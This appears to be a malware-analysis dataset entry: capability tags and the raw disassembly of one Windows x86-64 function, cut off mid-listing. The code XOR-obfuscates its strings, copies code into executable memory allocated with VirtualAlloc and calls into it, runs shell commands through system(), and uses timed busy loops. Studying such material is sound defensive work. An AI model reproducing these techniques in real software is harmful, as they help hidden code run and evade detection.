Function at 0x7ff65a717bc0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute command
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x59d0]
mov eax, 0x5ad0
call fcn.7ff65a77f6b0
sub rsp, rax
mov rdi, rdx
xor r13d, r13d
call fcn.7ff65a719dd8
call fcn.7ff65a719d80
call fcn.7ff65a719dee
call fcn.7ff65a719d80
call fcn.7ff65a719dac
call fcn.7ff65a719d96
call fcn.7ff65a719dac
call fcn.7ff65a719d96
call fcn.7ff65a719dc2
movdqa xmm0, xmmword [0x7ff65a787500]
movdqu xmmword [rbp + 0x108], xmm0
movdqa xmm1, xmmword [0x7ff65a787570]
movdqu xmmword [rbp + 0x118], xmm1
mov dword [rbp + 0x128], 0xc5c6cac2
mov dword [rbp + 0x12c], 0x100d5d1
mov ecx, r13d
nop
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x108], al
inc rcx
cmp rcx, 0x26
jb 0x7ff65a717c50
mov byte [rbp + 0x12f], r13b
lea rax, [rbp + 0x108]
mov qword [rbp + 0x248], rax
lea r15, [rbp + 0x5a08]
movabs r12, 0xff00ff00ff00ff00
mov qword [rbp + 0x428], r12
mov qword [rbp + 0x430], r15
mov rbx, qword [r15]
xor rbx, r12
mov qword [rbp + 0x420], rbx
mov qword [r15], r13
mov ecx, r13d
lea r14, [0x7ff65a6fea90]
lea rsi, [0x7ff65a6f0000]
mov rax, qword [0x7ff65a7b1060]
test rax, rax
je 0x7ff65a717cf0
mov rdx, r13
cmp rax, r14
je 0x7ff65a717cdf
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0xc1060]
test rax, rax
jne 0x7ff65a717cc7
jmp 0x7ff65a717cf0
mov r8, qword [rsi + rdx*8 + 0xc1380]
test r8, r8
jne 0x7ff65a717dd1
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x7ff65a717d17
mov r8, r13
jmp 0x7ff65a717db0
mov rax, r14
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x7ff65a717d22
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x7ff65a7b1058]
mov qword [rsi + rax*8 + 0xc1060], r14
mov qword [rsi + rax*8 + 0xc1380], r8
inc rax
mov qword [0x7ff65a7b1058], rax
lea rdx, [rbp + 0x248]
mov rcx, qword [sym.imp.kernel32.dll_SetConsoleTitleA]
call r8
nop
xor rbx, r12
mov qword [rbp + 0x420], rbx
mov qword [r15], rbx
call fcn.7ff65a70de80
mov dword [rsp + 0x6d], 0xf0eee2
mov byte [rsp + 0x71], 1
xor esi, esi
mov ecx, esi
nop word [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rsp + rcx + 0x6d], al
inc rcx
cmp rcx, 3
jb 0x7ff65a717e10
mov byte [rsp + 0x71], sil
lea rcx, [rsp + 0x6d]
call qword [sym.imp.ucrtbase.dll_system]
mov dword [rbp - 0x36], 0xf6e2f6d2
mov dword [rbp - 0x32], 0xefe9eff1
mov dword [rbp - 0x2e], 0x86a5a4a7
mov word [rbp - 0x2a], 0x100
mov rcx, rsi
nop
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x36], al
inc rcx
cmp rcx, 0xc
jb 0x7ff65a717e50
mov byte [rbp - 0x29], sil
lea rcx, [rbp - 0x36]
call fcn.7ff65a6fe270
lea rcx, [0x7ff65a7b0da0]
call fcn.7ff65a7261e0
mov rcx, qword [rdi]
call fcn.7ff65a709810
lea rcx, [0x7ff65a7b0da0]
call fcn.7ff65a721f80
test al, al
nop
nop
nop
nop
nop
nop
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [0x7ff65a785d04]
call qword [sym.imp.ucrtbase.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x460], xmm0
movdqa xmm1, xmmword [0x7ff65a787330]
movdqa xmmword [rbp + 0x470], xmm1
mov byte [rbp + 0x460], sil
movups xmmword [rbp + 0x480], xmm0
movdqa xmmword [rbp + 0x490], xmm1
mov byte [rbp + 0x480], sil
movups xmmword [rbp + 0x4a0], xmm0
movdqa xmmword [rbp + 0x4b0], xmm1
mov byte [rbp + 0x4a0], sil
movups xmmword [rbp + 0x4c0], xmm0
movdqa xmmword [rbp + 0x4d0], xmm1
mov byte [rbp + 0x4c0], sil
mov dword [rsp + 0x60], 0xe7f0ebc5
mov dword [rsp + 0x64], 0xa6e3f4ea
mov dword [rsp + 0x68], 0xeef2ec
mov byte [rsp + 0x6c], 1
mov rcx, rsi
lea eax, [rcx - 0x7f]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xb
jb 0x7ff65a717f30
mov byte [rsp + 0x6c], 0
lea rcx, [rsp + 0x60]
call fcn.7ff65a70d440
mov r12, 0xffffffffffffffff
mov rcx, rsi
test eax, eax
je 0x7ff65a718039
mov dword [rbp - 0x6b], 0xe7f0ebc5
mov dword [rbp - 0x67], 0xa6e3f4ea
mov dword [rbp - 0x63], 0xeef2ec
mov byte [rbp - 0x5f], 1
nop word [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x6b], al
inc rcx
cmp rcx, 0xb
jb 0x7ff65a717f80
mov byte [rbp - 0x5f], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x438], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x448], xmm1
lea rax, [rbp - 0x6b]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x7ff65a717fb0
lea rdx, [rbp - 0x6b]
lea rcx, [rbp + 0x438]
call fcn.7ff65a6f3710
nop
lea rdx, [rbp + 0x438]
lea rcx, [rbp + 0x780]
call fcn.7ff65a70e500
mov rbx, rax
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.7ff65a6fb2d0
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x480]
call fcn.7ff65a6fb2d0
lea rdx, [rbx + 0x40]
lea rcx, [rbp + 0x4a0]
call fcn.7ff65a6fb2d0
lea rdx, [rbx + 0x60]
lea rcx, [rbp + 0x4c0]
call fcn.7ff65a6fb2d0
lea rcx, [rbp + 0x780]
call fcn.7ff65a708440
nop
lea rcx, [rbp + 0x438]
jmp 0x7ff65a7182ed
movdqa xmm0, xmmword [0x7ff65a7875f0]
movdqu xmmword [rbp + 0x4b], xmm0
mov word [rbp + 0x5b], 0xf4
mov byte [rbp + 0x5d], 1
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x4b], al
inc rcx
cmp rcx, 0x11
jb 0x7ff65a718050
mov byte [rbp + 0x5d], 0
lea rcx, [rbp + 0x4b]
call fcn.7ff65a70d440
mov rcx, rsi
test eax, eax
je 0x7ff65a718146
movdqa xmm0, xmmword [0x7ff65a7875f0]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x48], 0xf4
mov byte [rbp + 0x4a], 1
nop
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x38], al
inc rcx
cmp rcx, 0x11
jb 0x7ff65a718090
mov byte [rbp + 0x4a], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x200], xmm1
lea rax, [rbp + 0x38]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x7ff65a7180c0
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x1f0]
call fcn.7ff65a6f3710
nop
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x800]
call fcn.7ff65a70e500
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.7ff65a708e30
lea rcx, [rbp + 0x800]
call fcn.7ff65a708440
nop
mov r8, qword [rbp + 0x208]
cmp r8, 0xf
jbe 0x7ff65a71812a
mov rdx, qword [rbp + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.7ff65a70f320
movdqa xmm0, xmmword [0x7ff65a787330]
movdqu xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], 0
jmp 0x7ff65a7182f2
mov dword [rbp - 0x7c], 0xe7f0ebc5
mov dword [rbp - 0x78], 0xd8e3f4ea
mov dword [rbp - 0x74], 0xe9a5e8fd
mov dword [rbp - 0x70], 0x100ebf5
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x7c], al
inc rcx
cmp rcx, 0xe
jb 0x7ff65a718170
mov byte [rbp - 0x6d], 0
lea rcx, [rbp - 0x7c]
call fcn.7ff65a70d440
mov rcx, rsi
test eax, eax
je 0x7ff65a71821b
mov dword [rsp + 0x50], 0xe7f0ebc5
mov dword [rsp + 0x54], 0xd8e3f4ea
mov dword [rsp + 0x58], 0xe9a5e8fd
mov dword [rsp + 0x5c], 0x100ebf5
nop dword [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0xe
jb 0x7ff65a7181c0
mov byte [rsp + 0x5f], 0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x3c8]
call fcn.7ff65a6f2e70
nop
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x880]
call fcn.7ff65a70e500
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.7ff65a708e30
lea rcx, [rbp + 0x880]
call fcn.7ff65a708440
nop
jmp 0x7ff65a7182e6
mov dword [rbp - 0x28], 0xece4ebcd
mov dword [rbp - 0x24], 0xfae8e5f1
mov dword [rbp - 0x20], 0xf4eea4ed
mov word [rbp - 0x1c], 0xe8
mov byte [rbp - 0x1a], 1
nop word [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x28], al
inc rcx
cmp rcx, 0xd
jb 0x7ff65a718240
mov byte [rbp - 0x1a], 0
lea rcx, [rbp - 0x28]
call fcn.7ff65a70d440
test eax, eax
je 0x7ff65a7182f2
mov dword [rsp + 0x50], 0xece4ebcd
mov dword [rsp + 0x54], 0xfae8e5f1
mov dword [rsp + 0x58], 0xf4eea4ed
mov word [rsp + 0x5c], 0xe8
mov byte [rsp + 0x5e], 1
mov rcx, rsi
nop dword [rax]
lea eax, [rcx - 0x7f]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0xd
jb 0x7ff65a718290
mov byte [rsp + 0x5e], 0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x3c8]
call fcn.7ff65a6f2e70
nop
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x900]
call fcn.7ff65a70e500
mov rdx, rax
lea rcx, [rbp + 0x460]
call fcn.7ff65a708e30
lea rcx, [rbp + 0x900]
call fcn.7ff65a708440
nop
lea rcx, [rbp + 0x3c8]
call fcn.7ff65a6f2e10
mov rcx, qword [rdi]
call fcn.7ff65a709810
call fcn.7ff65a70a9c0
lea rcx, [0x7ff65a7b0da0]
call fcn.7ff65a721f80
test al, al
nop
nop
nop
nop
nop
nop
mov dword [rsp + 0x7c], 0xb2b5b3b1
mov dword [rbp - 0x80], 0x100b3b5
mov rcx, rsi
nop word [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rsp + rcx + 0x7c], al
inc rcx
cmp rcx, 6
jb 0x7ff65a718330
mov byte [rbp - 0x7d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
mov qword [rbp + 0x358], rsi
mov qword [rbp + 0x360], rsi
lea rax, [rsp + 0x7c]
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x7ff65a718364
lea rdx, [rsp + 0x7c]
lea rcx, [rbp + 0x348]
call fcn.7ff65a6f3710
lea r8, [rbp + 0x348]
lea rdx, [rbp + 0x170]
lea rcx, [0x7ff65a7b0da0]
call fcn.7ff65a723de0
nop
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x170]
call fcn.7ff65a6f23e0
mov rcx, qword [rbp + 0x170]
cmp rcx, qword [rbp + 0x178]
je 0x7ff65a7183de
mov qword [rbp + 0x178], rcx
test rcx, rcx
je 0x7ff65a718429
mov rdx, qword [rbp + 0x180]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff65a718412
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff65a719d19
call fcn.7ff65a77f448
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov dword [rsp + 0x72], 0xf0eee2
mov byte [rsp + 0x76], 1
mov rcx, rsi
nop dword [rax]
lea eax, [rcx - 0x7f]
xor byte [rsp + rcx + 0x72], al
inc rcx
cmp rcx, 3
jb 0x7ff65a718440
mov byte [rsp + 0x76], 0
lea rcx, [rsp + 0x72]
call qword [sym.imp.ucrtbase.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], 6
mov qword [rbp + 0x240], 0xf
mov eax, dword [0x7ff65a785d08]
mov dword [rbp + 0x228], eax
movzx eax, word [0x7ff65a785d0c]
mov word [rbp + 0x22c], ax
mov byte [rbp + 0x22e], 0
lea r8, [rbp + 0x228]
lea rdx, [rbp + 0x1d8]
lea rcx, [0x7ff65a7b0da0]
call fcn.7ff65a723de0
nop
mov r14d, 1
mov dword [rsp + 0x20], r14d
lea r9d, [r14 + 0x3f]
lea r8d, [r14 + 0x21]
lea rdx, [0x7ff65a785d10]
lea rcx, [rbp + 0x670]
call fcn.7ff65a706bf0
nop
mov r8, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1d8]
sub r8, rdx
lea rcx, [rbp + 0x670]
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x678]
call fcn.7ff65a6f83a0
test rax, rax
jne 0x7ff65a718534
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x670]
add rcx, rax
xor r8d, r8d
lea edx, [r14 + 1]
call qword [0x7ff65a7845e0]
movdqa xmm0, xmmword [0x7ff65a787640]
movdqu xmmword [rbp + 0x27a], xmm0
movdqa xmm1, xmmword [0x7ff65a787580]
movdqu xmmword [rbp + 0x28a], xmm1
movdqa xmm0, xmmword [0x7ff65a7875e0]
movdqu xmmword [rbp + 0x29a], xmm0
movdqa xmm1, xmmword [0x7ff65a787490]
movdqu xmmword [rbp + 0x2aa], xmm1
movdqa xmm0, xmmword [0x7ff65a7874d0]
movdqu xmmword [rbp + 0x2ba], xmm0
mov dword [rbp + 0x2ca], 0xa7babeb0
mov dword [rbp + 0x2ce], 0xb1a5bfa1
mov dword [rbp + 0x2d2], 0x100d0b7
mov rcx, rsi
nop word [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x27a], al
inc rcx
cmp rcx, 0x5a
jb 0x7ff65a7185b0
mov byte [rbp + 0x2d5], 0
lea rcx, [rbp + 0x27a]
call fcn.7ff65a6fe270
cmp qword [0x7ff65a7b0d30], 0
jne 0x7ff65a71863c
mov dword [rbp - 0x5e], 0xcbcfc3d7
mov dword [rbp - 0x5a], 0xdcc9c7d7
mov dword [rbp - 0x56], 0x100aaa9
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x5e], al
inc rcx
cmp rcx, 0xa
jb 0x7ff65a718600
mov byte [rbp - 0x53], 0
lea rdx, [rbp - 0x5e]
xor ecx, ecx
call qword [sym.imp.user32.dll_FindWindowA]
mov qword [0x7ff65a7b0d30], rax
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
cmp qword [0x7ff65a7b0d30], 0
je 0x7ff65a7185e0
movdqa xmm0, xmmword [0x7ff65a787620]
movdqu xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [0x7ff65a787650]
movdqu xmmword [rbp + 0x140], xmm1
movdqa xmm0, xmmword [0x7ff65a7875a0]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0xdfd6f091
mov dword [rbp + 0x164], 0xd1ced3d9
mov dword [rbp + 0x168], 0x929594d7
mov word [rbp + 0x16c], 0xb7
mov byte [rbp + 0x16e], 1
mov rcx, rsi
nop dword [rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x130], al
inc rcx
cmp rcx, 0x3d
jb 0x7ff65a7186a0
mov byte [rbp + 0x16e], 0
lea rcx, [rbp + 0x130]
call fcn.7ff65a6fe270
mov ecx, 0x7d0
call qword [sym.imp.kernel32.dll_Sleep]
mov dword [rsp + 0x77], 0xf0eee2
mov byte [rsp + 0x7b], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rsp + rcx + 0x77], al
inc rcx
cmp rcx, 3
jb 0x7ff65a7186f0
mov byte [rsp + 0x7b], 0
lea rcx, [rsp + 0x77]
call qword [sym.imp.ucrtbase.dll_system]
call sub.msvcp140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x1f14], 0xffffffff
mov dword [rbp + 0xb94], eax
mov rdx, r14
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xb94], eax
inc rdx
cmp rdx, 0x270
jb 0x7ff65a718730
mov dword [rbp + 0xb90], 0x270
mov dword [rbp + 0x5a18], esi
lea rcx, [rbp + 0x250]
call fcn.7ff65a714640
mov r14, qword [rbp + 0x250]
add r14, 0x5f5e100
mov r13d, 0x80000000
movabs r12, 0xb2f4fc0794908cf3
call sub.msvcp140.dll__Query_perf_frequency
mov rbx, rax
call sub.msvcp140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x7ff65a7187ab
imul rax, rcx, 0x64
jmp 0x7ff65a71881a
cmp rbx, 0x16e3600
jne 0x7ff65a7187ff
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x7ff65a71881a
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x7ff65a718a1e
lea rax, [rbp + 0xb90]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xb90]
mov qword [rbp + 0x78], rax
mov esi, 0x186a0
mov r12d, 1
lea rcx, [rbp + 0x70]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x7ff65a718877
nop dword [rax + rax]
lea rcx, [rbp + 0x70]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a718860
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rbp + 0x78]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x7ff65a7188d7
cmp ecx, 0x64
jae 0x7ff65a7188d7
nop dword [rax + rax]
lea rcx, [rbp + 0x78]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a7188c0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5a18]
add edx, eax
mov dword [rbp + 0x5a18], edx
lea rax, [rbp + 0xb90]
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x7ff65a71894b
cmp ecx, 0x64
jae 0x7ff65a71894b
lea rcx, [rbp + 0x80]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a718931
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5a18]
imul edx, eax
mov dword [rbp + 0x5a18], edx
lea rax, [rbp + 0xb90]
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.7ff65a70f780
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x7ff65a7189ca
cmp edx, 0x64
jae 0x7ff65a7189ca
nop word [rax + rax]
lea rcx, [rbp + 0x88]
call fcn.7ff65a70f780
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x7ff65a7189b0
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rbp + 0x5a18]
sub eax, ecx
mov dword [rbp + 0x5a18], eax
mov eax, dword [rbp + 0x5a18]
cdq
idiv edi
mov dword [rbp + 0x5a18], eax
mov eax, dword [rbp + 0x5a18]
cdq
idiv edi
mov dword [rbp + 0x5a18], edx
sub rsi, r12
jne 0x7ff65a718844
jmp 0x7ff65a718782
mov eax, dword [rbp + 0x5a18]
mov dword [0x7ff65a7b0d28], eax
mov dword [rbp - 0x44], 0xf6e6f4ce
mov dword [rbp - 0x40], 0xeeebe9f2
mov dword [rbp - 0x3c], 0xe9f3efa7
mov word [rbp - 0x38], 0x100
xor esi, esi
mov ecx, esi
lea r12, [rsi - 1]
nop dword [rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x44], al
inc rcx
cmp rcx, 0xc
jb 0x7ff65a718a50
mov byte [rbp - 0x37], sil
mov rdx, qword [0x7ff65a7b0cf0]
lea rcx, [rbp - 0x44]
call fcn.7ff65a70d440
mov r15d, eax
test eax, eax
jne 0x7ff65a718b36
movdqa xmm0, xmmword [0x7ff65a7876a0]
movdqu xmmword [rbp + 0x4e0], xmm0
movdqa xmm1, xmmword [0x7ff65a787550]
movdqu xmmword [rbp + 0x4f0], xmm1
movdqa xmm0, xmmword [0x7ff65a787670]
movdqu xmmword [rbp + 0x500], xmm0
movdqa xmm1, xmmword [0x7ff65a7874c0]
movdqu xmmword [rbp + 0x510], xmm1
movdqa xmm0, xmmword [0x7ff65a7874f0]
movdqu xmmword [rbp + 0x520], xmm0
movdqa xmm1, xmmword [0x7ff65a787460]
movdqu xmmword [rbp + 0x530], xmm1
movdqa xmm0, xmmword [0x7ff65a787470]
movdqu xmmword [rbp + 0x540], xmm0
mov dword [rbp + 0x550], 0x100f89f
mov rdx, rsi
nop dword [rax]
lea eax, [rdx - 0x7f]
xor byte [rbp + rdx + 0x4e0], al
inc rdx
cmp rdx, 0x72
jb 0x7ff65a718b00
mov byte [rbp + 0x553], sil
lea rcx, [rbp + 0x4e0]
call fcn.7ff65a6fe270
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x7ff65a719c89
call sub.msvcp140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x32a4], 0xffffffff
mov dword [rbp + 0x1f24], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1f24], eax
inc rdx
cmp rdx, 0x270
jb 0x7ff65a718b50
mov dword [rbp + 0x1f20], 0x270
mov dword [rbp + 0x5a18], esi
lea rcx, [rbp + 0xb0]
call fcn.7ff65a714640
mov r14, qword [rbp + 0xb0]
add r14, 0x5f5e100
movabs r12, 0xb2f4fc0794908cf3
call sub.msvcp140.dll__Query_perf_frequency
mov rbx, rax
call sub.msvcp140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x7ff65a718bc5
imul rax, rcx, 0x64
jmp 0x7ff65a718c34
cmp rbx, 0x16e3600
jne 0x7ff65a718c19
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x7ff65a718c34
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x7ff65a718e3e
lea rax, [rbp + 0x1f20]
mov qword [rbp + 0x90], rax
lea rax, [rbp + 0x1f20]
mov qword [rbp + 0x98], rax
mov esi, 0x186a0
mov r12d, 1
lea rcx, [rbp + 0x90]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x7ff65a718c9a
nop
lea rcx, [rbp + 0x90]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a718c80
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rbp + 0x98]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x7ff65a718cfa
cmp ecx, 0x64
jae 0x7ff65a718cfa
nop
lea rcx, [rbp + 0x98]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a718ce0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5a18]
add edx, eax
mov dword [rbp + 0x5a18], edx
lea rax, [rbp + 0x1f20]
mov qword [rbp + 0x100], rax
lea rcx, [rbp + 0x100]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x7ff65a718d6e
cmp ecx, 0x64
jae 0x7ff65a718d6e
lea rcx, [rbp + 0x100]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a718d54
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5a18]
imul edx, eax
mov dword [rbp + 0x5a18], edx
lea rax, [rbp + 0x1f20]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0xf0]
call fcn.7ff65a70f780
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x7ff65a718dea
cmp edx, 0x64
jae 0x7ff65a718dea
nop dword [rax]
lea rcx, [rbp + 0xf0]
call fcn.7ff65a70f780
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x7ff65a718dd0
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rbp + 0x5a18]
sub eax, ecx
mov dword [rbp + 0x5a18], eax
mov eax, dword [rbp + 0x5a18]
cdq
idiv edi
